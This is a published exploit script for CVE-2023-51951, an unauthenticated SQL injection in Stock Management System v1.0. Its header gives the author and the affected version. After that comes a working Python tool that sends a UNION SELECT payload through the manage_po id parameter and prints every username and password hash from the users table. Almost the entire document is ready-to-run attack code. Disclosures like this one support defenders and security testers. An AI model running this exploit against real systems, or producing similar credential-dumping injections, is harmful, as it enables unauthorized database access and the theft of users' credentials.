Stock Management System v1.0 - Unauthenticated SQL Injection

# Exploit Title: Stock Management System v1.0 - Unauthenticated SQL Injection
# Date: February 6, 2024
# Exploit Author: Josué Mier (aka blu3ming) Security Researcher & Penetration Tester @wizlynx group
# Vendor Homepage: https://www.sourcecodester.com/php/15023/stock-management-system-phpoop-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/sms.zip
# Tested on: Linux and Windows, XAMPP
# CVE-2023-51951
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
#   The web application Stock Management System is affected by an unauthenticated SQL Injection affecting Version 1.0, allowing remote attackers to dump the SQL database using an Error-Based Injection attack.

import requests
from bs4 import BeautifulSoup
import argparse

def print_header():
    print("\033[1m\nStock Management System v1.0\033[0m")
    print("\033[1mSQL Injection Exploit\033[0m")
    print("\033[96mby blu3ming\n\033[0m")

def parse_response(target_url):
    try:
        target_response = requests.get(target_url)
        soup = BeautifulSoup(target_response.text, 'html.parser')
        textarea_text = soup.find('textarea', {'name': 'remarks', 'id': 'remarks'}).text

        # Split the text using ',' as a delimiter
        users = textarea_text.split(',')
        for user in users:
            # Split username and password using ':' as a delimiter
            username, password = user.split(':')
            print("| {:<20} | {:<40} |".format(username, password))
    except:
        print("No data could be retrieved. Try again.")

def retrieve_data(base_url):
    target_path = '/sms/admin/?page=purchase_order/manage_po&id='
    payload = "'+union+select+1,2,3,4,5,6,7,8,group_concat(username,0x3a,password),10,11,12,13+from+users--+-"

    #Dump users table
    target_url = base_url + target_path + payload
    print("+----------------------+------------------------------------------+")
    print("| {:<20} | {:<40} |".format("username", "password"))
    print("+----------------------+------------------------------------------+")
    parse_response(target_url)
    print("+----------------------+------------------------------------------+\n")

if __name__ == "__main__":
    about  = 'Unauthenticated SQL Injection Exploit - Stock Management System'
    parser = argparse.ArgumentParser(description=about)
    parser.add_argument('--url', dest='base_url', required=True, help='Stock Management System URL')
    args = parser.parse_args()
    print_header()
    retrieve_data(args.base_url)